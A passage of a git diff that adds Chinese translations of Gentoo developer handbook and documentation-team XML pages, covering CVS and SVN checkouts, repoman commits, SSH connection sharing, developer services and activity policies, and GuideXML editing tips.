+
+<p>
+一些项目指定了一位联系人用来和其他项目进行交流，比如：在论坛项目中的一位开发者负责与基础架构项目的沟通。
+</p>
+
+<p>
+从各方面来说，当前的管理结构没有明确表明项目领导者的职责明细。项目领导者由项目的成员选出来，通常的职责是满足“任何成员所需”，如果这项职责没有完成，成员可以选举出一个新的领导者（如果他们可以找到一位接替者！）
+</p>
+
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-new-devs.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-new-devs.xml
new file mode 100644
index 00000000..574437e4
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-new-devs.xml
@@ -0,0 +1,258 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-new-devs.xml,v 1.6 2008/05/10 07:31:56 r0bertz Exp $ -->
+<!-- English CVS version: 1.13 -->
+<sections>
+<version>1.0.4</version>
+<date>2008-05-03</date>
+
+<section>
+<title>使用CVS</title>
+<subsection>
+<title>介绍</title>
+<body>
+
+<p>
+这不是一本讲解如何使用CVS的手册。如果你需要了解如何使用CVS，请查看CVS的info或者<uri>/doc/zh_cn/cvs-tutorial.xml</uri>。相反地，这本手册特别关注如何在Gentoo的ebuild树中使用CVS和Repoman。
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>配置</title>
+<body>
+
+<p>
+一般来说，你会希望在<path>~/.cvsrc</path>中加入下面的几句话。
+</p>
+
+<pre caption="~/.cvsrc">
+cvs -q -z0
+diff -u -B
+checkout -P
+update -d -P
+</pre>
+
+<p>
+最后，很多使用CVS的人喜欢使用压缩选项（-z#）。我们要求那些不通过拨号连接的开发者使用选项-z0（考虑到我们CVS仓库的内容和我们CVS服务器的负载），在没有压缩的情况下，实际上你会感受到速度的<e>提升</e>。
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>从CVS/SVN中checkout</title>
+<body>
+
+<p>
+在Gentoo的CVS仓库中有一些很有用的模块。Ebuild被存放在<path>gentoo-x86</path>模块中。<path>gentoo</path>包含了网站，文档，开发者目录，开发者图片等的XML文件。<path>gentoo-projects</path>包含了各种各样的项目，并替换了<path>gentoo-src</path>cvs模块。<path>gentoo-src</path>被保留，成为了历史。如果你仍然在使用它，请转移到一个不同的cvs模块。
+</p>
+
+<pre caption="检出gentoo-x86">
+# cvs -d username@cvs.gentoo.org:/var/cvsroot co gentoo-x86
+</pre>
+
+<p>
+在任何时候，在树中工作之前，总是记得要先更新，用来检查仓库中的内容是否有改变，以防止冲突的发生。如果你不希望等待整棵树的更新，你可以在任何一个子目录中进行更新，但不时地更新你的整棵树是个很好的主意。
+</p>
+
+<pre caption="更新gentoo-x86">
+# cd gentoo-x86
+# cvs update
+</pre>
+
+<p>
+Gentoo也为那些偏爱SVN的人提供了subversion服务。许多核心项目，比如<path>portage</path>和<path>baselayout</path>现在也架设在这里。
+</p>
+
+<pre caption="检出Portage">
+# svn co svn+ssh://username@cvs.gentoo.org/var/svnroot/portage
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>更新Portage</title>
+<body>
+
+<p>
+如果你想使用CVS作为你主要的Portage树，那么你可以在<path>/etc/make.conf</path>中加入下面的几行，用你的名字替换其中的<c>you</c>。
+</p>
+
+<pre caption="修改/etc/make.conf来配合CVS的使用">
+SYNC="cvs://you@cvs.gentoo.org:/var/cvsroot"
+CVSROOT=":ext:you@cvs.gentoo.org:/var/cvsroot"
+</pre>
+
+<note>
+由于cvs检出的Portage树没有metadata cache，你的portage可能会变得很慢。
+</note> 
+
+<p>
+在支持的架构上，你应该总是在你的<c>FEATURES</c>中加入<c>sandbox</c>来保证ebuild不会直接修改根文件系统。
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>增加／删除包</title>
+<body>
+
+<p>
+假设你准备在app-misc中加入一个全新的包<c>foo</c>：
+</p>
+
+<pre caption="增加一个包">
+<comment>（用你checkout出来的CVS树的位置来替换CVSROOT。）</comment>
+# cd $CVSROOT/app-misc
+<comment>（在CVS树中工作之前总是要先更新！）</comment>
+# cvs update
+# mkdir foo
+<comment>（这里，我们将foo包目录加入了CVS仓库。）</comment>
+# cvs add foo
+# cd foo
+<comment>（最好将你正在进行中的ebuild放置在CVS树之外的overlay中。）</comment>
+# cp /path/to/foo-1.0.ebuild ./
+<comment>（当建立manifest的时候，确保PORTDIR_OVERLAY设置成CVS目录。）</comment>
+# ebuild foo-1.0.ebuild digest
+# ${EDITOR} metadata.xml
+<comment>你不一定再需要files目录了。</comment>
+# cvs add foo-1.0.ebuild metadata.xml files
+<comment>（不要忘记创建ChangeLog文件——查看echangelog的man帮助。）</comment>
+# echangelog "New ebuild for foo. Ebuild written by me. Fixes bug #XXXXXX."
+</pre>
+
+<p>
+查看<uri link="?part=2&amp;chap=4">Gentoo Metadata</uri>章节以获得更多的信息。
+</p>
+
+<p>
+在这个时刻，你已经准备好commit了（查看下面的Commits章节）。但如果当foo-1.1发布的时候你想要删除foo-1.0，该怎么办呢？
+</p>
+
+<pre caption="删除旧版本">
+# cd CVSROOT/app-misc/foo
+# cvs update
+# cvs remove -f foo-1.0.ebuild
+</pre>
+
+<p>
+现在你已经准备好可以commit了。（查看下面的Commits章节）
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Commits</title>
+<body>
+
+<p>
+请一直使用<c>repoman commit</c>，而不是<c>cvs commit</c>。Repoman是一个质量保障（QA）工具，它会执行基本的检查并且建立Manifests。如果你对repoman输出的某些部分不清楚，请查看<c>man repoman</c>。另外，你可能会对不断地输入密码而感到厌倦；keychain（<uri>http://www.gentoo.org/proj/zh_cn/keychain.xml</uri>）可以帮助你。
+</p>
+
+<pre caption="使用repoman">
+<comment>（在运行repoman之前，请确保没有root用户所拥有的文件！）</comment>
+<comment>（"scan"扫描当前的目录来查看QA事务。"full"选项更加完整。）</comment>
+# repoman scan
+<comment>（"commit"先做scan，然后commit，同时更新Manifest。确认你已经
+加入了冗长而有用的CVS ChangeLog信息……）</comment>
+# repoman commit
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>提升CVS的速度</title>
+<body>
+
+<p>
+如果你到cvs服务器有很高的ping时间，你可能会希望使用ssh主从设置（你只需要连接到其他的ssh服务器一次，然后通过这个连接来执行后面的命令）。这样，你省下了握手的时间，可以整体提高3倍的checkout/commit速度。只需要将下面的代码加入到你的设置中即可。
+</p>
+
+<pre caption="~/.ssh/config">
+Host *
+  ControlMaster auto
+  ControlPath ~/.ssh/master-%r@%h:%p
+</pre>
+
+<p>
+在这样做了之后，你可以用这个命令启动一个后台的主连接
+</p>
+
+<pre caption="在后台启动一个主连接">
+<comment>你可以在ssh的man手册中找到下面参数的含义</comment>
+$ ssh -M -N -f ${USER}@cvs.gentoo.org
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>其他事项</title>
+<subsection>
+<title>在镜像上放置文件</title>
+<body>
+
+<p>
+Gentoo镜像系统可自动获取Distfiles。你只需要监视你的distfiles是否有读取错误。请查看<uri link="/proj/en/infrastructure/mirrors/overview-distfile.xml">Distfiles概览</uri>以获得详细的指令。
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>邮件和网页</title>
+<body>
+
+<p>
+我们的基础架构允许开发者管理他们自己的邮件。<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri>包含了如何配置你的@gentoo.org邮件的指令。
+</p>
+
+<p>
+开发者拥有发布网页的权力，http://dev.gentoo.org/~$YOURNAME。请查看<uri link="http://www.gentoo.org/proj/en/infrastructure/dev-webspace.xml">网页空间配置指南</uri>以获得更多详细的信息。
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Planet Gentoo"博客"</title>
+<body>
+
+<p>
+我们有一项服务，<uri link="http://planet.gentoo.org">Planet Gentoo</uri>。这项服务汇集由做贡献的开发者所写的文章。这项服务是可选的，但是我们鼓励你加入。这可以促进开发者之间的交流，而且用户也会觉得很有趣，值得一读。
+</p>
+
+<p>
+为了能够在Planet Gentoo上发布内容，你需要有一个你自己的博客。许多网站提供这种免费的服务，或者你可以自己架设一个博客（如果你有这个资源的话）。作为另外一种选择，我们可以为你建立一个博客。
+</p>
+
+<p>
+我们希望保持Planet Gentoo的内容是与Gentoo相关的，或者是Gentoo相关的开发和事件。
+</p>
+
+<p>
+如果我们为你建立了博客，你的博客内容应当是主题相关的（关于Gentoo相关的文章）。你也需要了解，如果你失去了你的开发者状态，你将不能够在你的博客上编辑文章。
+</p>
+
+<p>
+如果你在其他地方有一个博客，那么你需要提供一份XML的内容feed。如果你的博客是分类别的，我们需要一份关于"Gentoo"类别的XML feed，而不是其他部分。这也许不是一个问题，因为几乎所有的博客都提供像这样的标准feed服务。
+</p>
+
+<p>
+尽管这是常识，但是请注意你所写的内容。你的观点可能会被不恰当地理解为这是Gentoo的观点。请注意不要破坏我们的形象。
+</p>
+
+<p>
+如果你有兴趣对Planet Gentoo做贡献，请发邮件到<uri link="mailto:user-relations@gentoo.org">user-relations@gentoo.org</uri>。你可以请求一个建立在Gentoo空间上的博客，或者给出你现有博客的详细信息。我们会处理好这些细节，并让你的博客正确地运行起来。
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-whatyouget.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-whatyouget.xml
new file mode 100644
index 00000000..d8f49c5f
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-whatyouget.xml
@@ -0,0 +1,174 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction-whatyouget.xml,v 1.3 2008/02/23 07:57:35 r0bertz Exp $ -->
+<!-- English CVS version: 1.10 -->
+<sections>
+
+<version>1.0.3</version>
+<date>2007-08-17</date>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+Gentoo给开发者提供所有必要的服务，只要他们认为对他们的开发有帮助。如果你有一些其他的需求，请不要犹豫，可以联系基础架构团队。
+</p>
+
+<p>
+一旦你成为一位被授权的开发者，你的招募者就应该为你提供下面的服务。如果你遇到任何问题，请询问你的招募者或对于该服务有管理权限的人员。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+开发者有权力修改Bugzilla上所有的bug。如果你已经有了一个帐号，请联系Bugzilla的管理者让他把你原来的邮箱地址改成你的Gentoo邮箱地址。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>CVS</title>
+<body>
+
+<p>
+并不是所有的开发者都拥有CVS权限——如果你需要gentoo，gentoo-projects，或者gentoo-x86树的Portage权限，联系招募团队中的成员，让他帮你做这件事情。当然，你可能需要设法证明你的这种需求是必要和正确的。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+
+<p>
+当你是开发者的时候，在#gentoo-dev上你会有管理员状态来表明你是一位开发者。如果你没有，请联系开发者事务组。另外，团队的领导者可能决定在特殊的频道上给你管理员状态，比如#gentoo-hardened。在#gentoo-dev上管理员权力的滥用可能会导致你的管理员权力马上被取消，也有可能取消你的开发者权力。如果你被赋予了管理员权力，我们希望你建设性地使用它来让每个人都受益，特别是当开发者或者用户在频道上捣乱的时候。
+</p>
+
+<p>
+#gentoo上的管理员状态由开发者事务组来发放；拥有管理员状态并不能说明他就是一位开发者。
+</p>
+
+<p>
+"特殊的"Gentoo频道，比如#gentoo-hardened和#gentoo-server，由团队来决定开放给哪些人——在这里，分别是hardened团队和server团队。
+</p>
+
+<p>
+IRC频道属于相关项目的领导者所有，不管是出于策略或是管理的目的，所有者拥有赋予或取消某成员发言的权力。如果你认为这些权力被滥用了，或者被不怀好意地使用了；请告知Gentoo开发者事务组。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>论坛［可选］</title>
+<body>
+
+<p>
+如果需要，可以向#gentoo-forums或者forum-mods@gentoo.org的论坛管理者要求更新你在Gentoo论坛上的状态。论坛的帐号不是必需的。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>邮箱</title>
+<body>
+
+<p>
+每个开发者都将拥有一个专为Gentoo使用的邮箱地址，邮箱地址格式为developer@gentoo.org。
+</p>
+
+<p>
+更详细的介绍，请查看<uri>http://www.gentoo.org/proj/en/infrastructure/dev-email.xml</uri>
+</p>
+</body>
+</section>
+
+<section>
+<title>邮件列表</title>
+<body>
+
+<p>
+每个开发者都必须订阅<c>gentoo-core</c>邮件列表和<c>gentoo-dev-announce</c>邮件列表。每个开发者都应该订阅<c>gentoo-dev</c>邮件列表和<c>gentoo-project</c>邮件列表，尽管这两个列表的订阅不是必须的。如果你有任何困难或想订阅以上提到的邮件列表，请联系招募团队。 
+</p>
+
+<p>
+gentoo-core邮件列表被用做内部讨论；技术讨论应该发在gentoo-dev邮件列表之上；和主题无关的讨论以及非技术讨论应该在gentoo-project邮件列表上进行；gentoo-dev-announce邮件列表仅仅是为了发布通告。如果你给dev-announce邮件列表发送了一个邮件并期待有相关的讨论发生，你应该手动地将该邮件发送到另外一个相关的邮件列表之上，并适当地设置你邮件的回复字段。
+</p>
+
+<p>
+如果你已经用其他邮箱地址订阅了Gentoo邮件列表，你应该退订并用你新的邮箱地址来重新订阅该邮件列表。 
+</p>
+
+</body>
+</section>
+
+<section>
+<title>shell访问</title>
+<body>
+
+<p>
+这时，开发者在dev.gentoo.org上将拥有一个shell帐号——这个帐号提供邮件存储，SMTP转发和为开发者使用的通向freenode的IRC通道。
+</p>
+
+<p>
+为了保证安全，访问只能通过SSH密钥，你的导师应该把SSH密钥放在你的帐号上并允许你登录：更多关于SSH密钥的细节，请查看<uri>http://www.gentoo.org/proj/en/infrastructure/cvs-sshkeys.xml</uri>。
+</p>
+
+</body>
+</section>
+
+<section>
+<title>服务使用政策</title>
+<body>
+<p>
+Gentoo所提供的服务应该仅被用来做开发之用。基础架构团队拥有关闭可能具有安全危害帐号的权力，这包括不经常活动的帐号会被基础架构团队冻结，并且你在#gentoo-dev频道上的状态也会被通知。
+</p>
+<p>
+如果在你帐号上的文件被认为对其他开发者或其他使用者有害，或者对于Gentoo项目存在危害（比如非法的.torrent文件），Gentoo基础架构团队将冻结你的帐号，只有在Gentoo开发者事务组调查之后才能解冻你的帐号。在很多情况下，如果发现有这样的文件存在，你的开发者权力也会被冻结。同样的政策也适用于Gentoo CVS和其他Gentoo所提供的服务。
+</p>
+</body>
+</section>
+
+<section>
+<title>活动政策</title>
+<body>
+
+<p>
+生活瞬息万变，Gentoo可以理解你并不是每时每刻都有空。如果你知道你将在一段时间内没有空（比如假期，工作中的大项目，家庭需要，等等），我们恳请你利用devaway系统来通知大家你要暂离一段时间。
+</p>
+
+<pre caption="离开的时候">
+<comment>在dev.gentoo.org上</comment>
+$ <i>echo "Away until 2007-08-30, contact $dev1 in my absence" &gt; ~/.away</i>
+</pre>
+
+<pre caption="当回来的时候">
+<comment>在dev.gentoo.org上</comment>
+$ <i>rm ~/.away</i>
+</pre>
+
+<p>
+为了随时更新开发者的数量，同时也为了保持我们资源的安全性，开发者事务组周期性地调查开发者的活跃度，试图找出懒散的开发者。如果一个开发者超过60天没有做贡献，那么他就被认为是不活跃的。活跃度由CVS的commit，bugzilla统计数据和同伴的反馈来决定。并不是每位开发者的活跃度都是这么容易追踪的。开发者事务组经常需要从疑似不活跃的开发者所在项目的领导者或者团队成员来获取反馈。
+</p>
+
+<p>
+如果一个开发者有超过60天不活跃的记录，那么他可能会被劝退。开发者事务组将首先调查评估当前的情况，并试图联系这位开发者。如果联系不上，招募团队会选择让这位开发者退职。请注意：如果你使用devway系统超过了60天，你也会被认为是不活跃。当然，回归的日期将被酌情考虑。如果由于你的懒散不活跃而导致了你的退职，并希望重新回来，你只需要联系招募团队并重新开始招募过程。 
+</p>
+
+</body>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction.xml b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction.xml
new file mode 100644
index 00000000..17cb98f6
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction.xml
@@ -0,0 +1,48 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/devrel/handbook/hb-introduction.xml,v 1.2 2008/02/23 07:57:35 r0bertz Exp $ -->
+<!-- English CVS version: 1.3 -->
+<sections>
+<version>1.0.2</version>
+<date>2006-09-05</date>
+
+<section>
+<title>介绍</title>
+<body>
+
+<p>
+这本手册的目的是扼要的说明Gentoo的开发规则，并且使作为开发者的<e>您</e>，了解我们认为是我们开发系统的核心价值的规则、标准和过程。
+</p>
+
+<p>
+这本手册并不是一本面面俱到的指导书——你在开发中可能遇到的问题是不能穷举的。因而，这本手册旨在教你一些基本的原则，而我们认为这些原则能让你成为一个好的Gentoo开发者——所谓师傅领进门，剩下的修行就要靠你自身了！
+</p>
+
+<p>
+如果你刚刚接触Gentoo开发，或者你是个老手，但对于某些问题不确定，你可以在gentoo-dev邮件列表或#gentoo-dev上提问。
+</p>
+
+</body>
+</section>
+<section>
+<title>要求</title>
+<body>
+
+<p>
+在你开始尝试之前，你应该拥有一个可以工作的Gentoo系统。这无论对于文档还是开发来说都是很重要的。而且我们也建议你熟悉用户手册中“用Gentoo工作”那一节所提到的主题，这对于你的开发工作有帮助。
+</p>
+
+<p>
+这本手册的大部分内容是针对开发者的，但如果你只是对Gentoo如何进行开发工作感兴趣，这本手册也会提供同样具有价值的内容。
+</p>
+
+<p>
+想让自己被注意到（并且有可能成为一名Gentoo开发者！）的最好方法就是在<uri link="http://bugs.gentoo.org">Gentoo Bugzilla</uri>上提交准确的bug报告（如果可能的话，附上补丁），并帮助我们提出你认为如何能让Gentoo变得更好的意见，比如提交可以增加新特性的补丁，提交新的ebuild，或者解决现有的问题。
+</p>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/zh_cn/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/zh_cn/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..54c64357
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,318 @@
+<?xml version='1.0' encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/zh_cn/gdp/doc/doc-tipsntricks.xml,v 1.1 2009/05/22 16:56:11 r0bertz Exp $ --> 
+<!-- English CVS version: 1.25 -->
+
+<guide link="/proj/zh_cn/gdp/doc/doc-tipsntricks.xml" lang="zh_cn" disclaimer="draft">
+<title>文档开发心得与技巧</title>
+
+<author title="作者">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="作者">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="翻译"> 
+  <mail link="zm3345@gmail.com">楚石</mail> 
+</author>
+
+<abstract>
+一些将Gentoo文档开发工作变简单的心得技巧
+</abstract>
+
+<license/>
+
+<version>2</version>
+<date>2007-03-08</date>
+
+<chapter>
+<title>检出网站文档</title>
+<section>
+<title>使用匿名CVS</title>
+<body>
+
+<p>
+贡献者们应该使用我们的<uri
+link="http://anoncvs.gentoo.org/">匿名CVS服务器</uri>。它与Gentoo开发者使用的官方CVS拥有相同的文件。匿名CVS仓库每小时更新一次。
+</p>
+
+<p>
+创建一个专门用于文档开发的目录，然后从网站上检出文档。
+</p>
+
+<pre caption="检出网站文档">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+要更新你的本地仓库，请在<path>gentoo/xml</path>目录下运行<c>cvs update -dP</c>命令。
+</p>
+
+</body>
+</section>
+<section>
+<title>Gentoo开发者使用的实时(live)仓库</title>
+<body>
+
+<p>
+你还没有检出<c>gentoo</c>模块么？赶紧的吧：
+</p>
+
+<pre caption="检出gentoo模块">
+$ <i>export CVSROOT=</i><comment>&lt;your nick&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+要更新你的本地仓库，请在<path>gentoo/xml</path>目录下运行<c>cvs update -dP</c>命令。
+</p>
+
+</body>
+</section>
+<section>
+<title>在线CVS仓库</title>
+<body>
+
+<p>
+你可以要求在线CVS仓库提供两个独立版本之间的不同之处(diff)。<uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">主英文仓库</uri>现已全面启用。在线CVS仓库会每小时更新一次。
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>设置你的本地环境</title>
+<section>
+<title>安装gorg</title>
+<body>
+
+<p>
+我们的GuideXML文档是由<uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">www-server/gorg</uri>转换为HTML的，你需要安装它。
+</p>
+
+<note>
+你至少需要<c>gorg-0.6.3</c>以上的版本。请为你的架构添加关键字(keyword)。
+</note>
+
+<p>
+请依照<uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">gorg主页</uri>上的指南来配置它，你需要将检出CVS文档仓库的目录（<path>.../gentoo/xml/htdocs</path>）设置为web根目录。其他的参数只当你想在本地提供一份<uri
+link="http://www.gentoo.org">www.gentoo.org</uri>的副本时有用。
+</p>
+
+</body>
+</section>
+<section>
+<title>设置你的XML环境</title>
+<body>
+
+<p>
+你需要让系统知道上哪去找我们文档中用到的DTD文件。请用root权限编辑<path>/etc/xml/catalog</path>文件，并添加一下几行：
+</p>
+
+<pre caption="/etc/xml/catalog addendum">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+当然，你可以根据从CVS检出DTD文件时的具体情况修改路径参数。
+</note>
+
+<p>
+如果根本没有<path>/etc/xml/catalog</path>文件或者文件中啥内容没有，你需要在<c>&lt;catalog&gt;</c>元素<e>之中</e><e>插入</e><c>Ult;rewriteURI&gt;</c>元素
+</p>
+
+<pre caption="/etc/xml/catalog的最简形式">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+另外，因为一些文档采用了在线DTD，你可以修改类似<path>http://www.gentoo.org/dtd/guide.dtd</path>的链接(uri)来避免因需要网络而带来的访问慢的问题。
+</p>
+
+<pre caption="/etc/xml/catalog的额外补充">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>测试Gentoo指南</title>
+<body>
+
+<p>
+要测试Gentoo指南，首先请使用<c>xmllint</c>（来自<c>dev-libs/libxml2</c>）来检查其XML的正确性：
+</p>
+
+<pre caption="使用xmllint验证GuidXML">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+如果<c>xmllint</c>没有返回任何信息，说明文档的结构验证通过。下一步你需要将其转换为HTML：
+</p>
+
+<pre caption="转换为HTML">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+如果没有显示任何错误，你应该能用浏览器来查看<path>alsa-guide.html</path>文档;如果有错误，请修正你的指南文档。
+</p>
+
+<note>
+在安装手册的章节中，将不会生成指向其他章节的链接。因为在线访问安装手册的章节时，采用了master
+file以及<c>chap</c>和<c>part</c>参数。
+</note>
+
+</body>
+</section>
+<section>
+<title>浏览gentoo web站点的本地副本</title>
+<body>
+
+<p>
+自打你从我们的CVS中检出Gentoo web站点之后 ，你就也可以通过gorg来浏览你的本地副本了。如果你想拥有一模一样的主页，请确认你已经照<uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">gorg的主页</uri>上的方法下载了新闻索引。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>常见问题</title>
+<section>
+<title>如何转换文档编码为UTF-8？</title>
+<body>
+
+<p>
+这里有不少工具可以帮你。<c>app-text/recode</c>比较常用。<c>iconv</c>也比较流行，它是<c>sys-libs/glibc</c>的组件。
+</p>
+
+<p>
+Recode使用起来相当直接。你告诉它当前文档的编码，以及你想转换成的编码就行。
+</p>
+
+<p>
+比方说，要将一个编码为ISO-8859-15（经常被称为Latin-9）的文档转换成编码UTF-8，你可以用：
+</p>
+
+<pre caption="文件编码转换">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>文档提交的技巧</title>
+<section>
+<title>&lt;guide&gt;标签检查</title>
+<body>
+
+<p>
+请确认&lt;guide
+link&gt;属性指向了指南文档的正确位置。其通常为<path>/doc/zh_cn/filename.xml</path>。如果你有已经翻译好的文档，请指定访问此文档的绝对路径（例如：<path>/doc/zh_cn/</path>）。如果你正在写一个采用了<c>guide</c>或<c>book</c>DTD的指南文档，那么你既可以用<path>/doc/zh_cn/filename.xml</path>也可以用<path>filename.xml</path>。通常GDP推荐使用前一种形式。
+</p>
+
+</body>
+</section>
+<section>
+<title>链接检查</title>
+<body>
+
+<p>
+你<e>必须</e>查实文档中所有的超链接都能正常访问。如果是翻译文档，请注意其链接中指向的另一个翻译文档是否也存在。
+</p>
+
+</body>
+</section>
+<section>
+<title>标签检查</title>
+<body>
+
+<p>
+在GuideXML中除了文档需要（例如教用户使用标签的文档）外绝对禁止出现标签。检查文档中的标签可以运行<c>grep
+"CTRL+V&lt;TAB&gt;"file.xml</c>。修正有<c>grep</c>屏显的任何行。
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+一旦你完成了文档，请使用<uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla</uri>向文档小组提交它。你没必要提供诸如平台、<c>emerge
+info</c>信息、架构、完成的步骤等等。如果你提交的是翻译文档，提交bug时请务必选择<uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc
+Translations</uri>组件。同时，请为你的翻译文档写个简介，格式如下："[zh_cn]New
+translation:/doc/zh_cn/gnupg-user.xml[zh_cn]"。请用你自己的语言代码替换<b>[zh_cn]</b>。
+</p>
+
+<p>
+默认情况下，<mail>docs-team@gentoo.org</mail>即将会是你翻译文档的受理人。你不需要去修改它。
+</p>
+
+<p>
+提交文档或补丁的附件时，请选择纯文本"plain text(text/plain)"。千万<e>不要</e>选择"XML source
+(application/xml)"，即便你提交的确实是<path>.xml</path>文档。文档补丁应当通过"Patch"选项的检查。不要提交一个包含很多文档的压缩包，文档也好，补丁也好，请一个一个单独提交。
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>易犯的或危险的错误</title>
+<section>
+<title>Forgetting the all-arch-aspect of the Gentoo Handbook</title>
+<body>
+
+<p>
+<path>[gentoo]/xml/htdocs/doc/en/handbook</path>中不是以"-&lt;arch&gt;.xml"后缀结束的文件将会被<e>所有</e>手册读取，这意味着不管其中有什么内容一定是多架构支持的。
+</p>
+
+<p>
+如果你需要针对你自己的架构做出修改，恐怕你需要就此先询问一下<c>gentoo-doc@gentoo.org</c>如何解决。往往会有对其他架构的用户也不太困难的方法的。
+</p>
+
+</body>
+</section>
+<section>
+<title>不要随意刷新或错误设置版本号/日期</title>
+<body>
+
+<p>
+按照规定，如果对文档做出了一定修改（实质性修改），<e>必须</e>更新版本号/日期。尽管版本号似乎不那么重要（SwifT will still
+kill you if you forget it），但日期会告诉读者文档的最后修改是什么时候。
+</p>
+
+<p>
+如果对文档的<e>内容(content)</e>做出了修改（介绍啊，示例代码啊等等），就必须升级版本号。而对于<e>非内容(non-content)</e>的更改(例如排版或GuideXML修正)，版本号升级就没有必要了。
+</p>
+
+<p>
+更新安装手册是，只需更新你所修改文档的日期和版本号。不要更新handbook-<e>ARCH</e>.xml，除非你确实修改了它们的内容。
+</p>
+
+<p>
+另一个常见错误是更新版本号的数位时出现的。<c>3.9</c>应该变为<c>3.10</c>，而不是<c>4.0</c>，更不是<c>3.91</c>。
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/zh_cn/php/php-upgrading.xml b/xml/htdocs/proj/zh_cn/php/php-upgrading.xml
new file mode 100644
index 00000000..f0a9fa0f
--- /dev/null
+++ b/xml/htdocs/proj/zh_cn/php/php-upgrading.xml
@@ -0,0 +1,584 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
